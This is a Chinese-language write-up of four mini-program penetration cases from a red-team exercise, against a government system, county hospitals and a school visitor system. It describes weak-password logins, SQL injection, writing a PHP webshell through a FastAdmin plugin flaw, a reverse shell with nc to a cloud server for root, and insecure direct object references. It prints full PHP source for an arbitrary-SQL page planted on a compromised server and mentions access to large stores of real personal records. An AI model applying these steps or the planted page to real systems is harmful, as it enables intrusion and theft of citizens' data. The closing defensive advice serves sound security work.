【HVV回顾】小程序打点案例分享
字数 1551 2025-08-06 08:35:00
小程序渗透测试实战案例教学文档
0x00 前言
在HVV(护网行动)中,小程序因其低成本、易用性等特点,已成为新型重点突破对象。本教学文档基于四个真实小程序渗透案例,详细分析常见漏洞类型及利用方法。
0x01 案例一:某政务系统渗透
1. 弱口令进入后台
- 发现过程:通过抓包获取小程序域名,直接访问发现是Fastadmin框架的管理后台
- 漏洞利用:
- 尝试使用
admin/123456弱口令组合 - 注意点:系统登录后token会刷新,导致下一次登录必须使用上一次token
- 成功进入后发现系统内包含20000条公民信息和数百个管理员账户,均为
admin/123456弱口令
- 尝试使用
2. SQL注入漏洞
- 前台SQL注入:
- 通过debug未关闭暴露数据库账户密码
- 但数据库仅限本地连接,无法直接利用
- 后台延时注入:
- 在查看管理员功能处发现存在延时注入漏洞
3. 命令执行获取服务器权限
- 利用Fastadmin漏洞:
- 使用在线命令插件漏洞(1.1.0版本)写入PHP Webshell
- 插件访问路径:
/command?ref=addtabs
- 写入Webshell:
- 通过"一键生成API文档"功能,将PHP文件标题设置为木马内容
- 测试发现仅冰蝎马可用
- 权限提升:
- 通过上传大马中的nc进行提权
- 反弹shell到云服务器获取root权限
- 数据库操作:
- 编写自定义SQL执行页面连接数据库
<html>
<head>
<title>执行MySQL语句</title>
</head>
<body>
<h1>执行MySQL语句</h1>
<form method="POST" action="">
<textarea name="sql_statement" rows="5" cols="50" placeholder="请输入MySQL语句"></textarea>
<br>
<input type="submit" value="执行">
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$sql_statement = $_POST['sql_statement'];
$host = 'localhost';
$username = '';
$password = '';
$database = '';
$connection = mysqli_connect($host, $username, $password, $database);
$result = mysqli_query($connection, $sql_statement);
if ($result) {
echo '<h2>查询结果:</h2>';
while ($row = mysqli_fetch_assoc($result)) {
echo '';
print_r($row);
echo '';
}
} else {
echo '<h2>错误:</h2>';
echo '<p>' . mysqli_error($connection) . '</p>';
}
mysqli_close($connection);
}
?>
</body>
</html>
0x02 案例二:某县医院数据库渗透
1. SQL注入获取DBA权限
- 发现过程:
- 在公众号挂号功能处,查看挂号记录时抓包发现带病人ID的请求
- 添加单引号出现报错,确认存在SQL注入
- 注入利用:
- 系统为ASP.NET框架,Windows环境
- 尝试MySQL、Oracle均失败,最终确认为MSSQL注入
- 获取DBA权限
- 尝试命令执行:
- 尝试使用
xp_cmdshell执行命令 - 因HIS系统防护措施无法执行,放弃进一步利用
- 尝试使用
0x03 案例三:某中学访客系统渗透
1. 未授权访问+信息泄露
- 发现过程:
- 打开小程序抓包即获取所有被访人信息
- 接口未做权限验证
- 平行越权:
- 登录后添加访问申请
- 查看访问记录时发现接口
app/visitor/getVisitorInfo?viId=1 - 遍历ID可获取数百条访客信息和记录
- 最终确认系统完全缺乏权限验证
0x04 案例四:县医院核酸检测系统渗透
1. 平行越权+信息泄露
- 发现过程:
- 系统要求身份证与姓名匹配才能登录,说明数据真实
- 登录后查看就诊人列表抓包
- 漏洞利用:
- 修改ID参数可查看他人信息
- 系统包含十几万条真实个人信息
2. 平行越权中的SQL注入
- 发现过程:
- 在参数中添加单引号直接导致SQL报错
- 符合"平行越权大概率存在SQL注入"的经验
- 注意事项:
- 因未获得授权,停止进一步测试
- 移交平台进行整改
0x05 总结与防御建议
常见漏洞类型
-
弱口令问题:
- 管理员账户使用默认或简单密码
- 多个账户使用相同弱口令
-
SQL注入:
- 前台和后台均可能存在
- 包括报错注入、延时注入等多种形式
-
未授权访问:
- 接口缺乏权限验证
- 平行越权问题普遍
-
命令执行:
- 框架已知漏洞未修复
- 插件功能被滥用
防御建议
-
身份认证:
- 强制使用强密码策略
- 实施多因素认证
- 定期更换密码
-
输入验证:
- 所有输入参数进行严格过滤
- 使用参数化查询防止SQL注入
-
权限控制:
- 实施最小权限原则
- 所有接口必须进行权限验证
- 防止平行越权
-
安全配置:
- 关闭调试模式
- 及时更新框架和插件
- 禁用危险函数
-
日志监控:
- 记录所有敏感操作
- 设置异常行为告警
- 定期审计日志
通过以上案例分析和防御建议,开发人员和安全团队可以更好地识别和修复小程序中的安全隐患,提高系统整体安全性。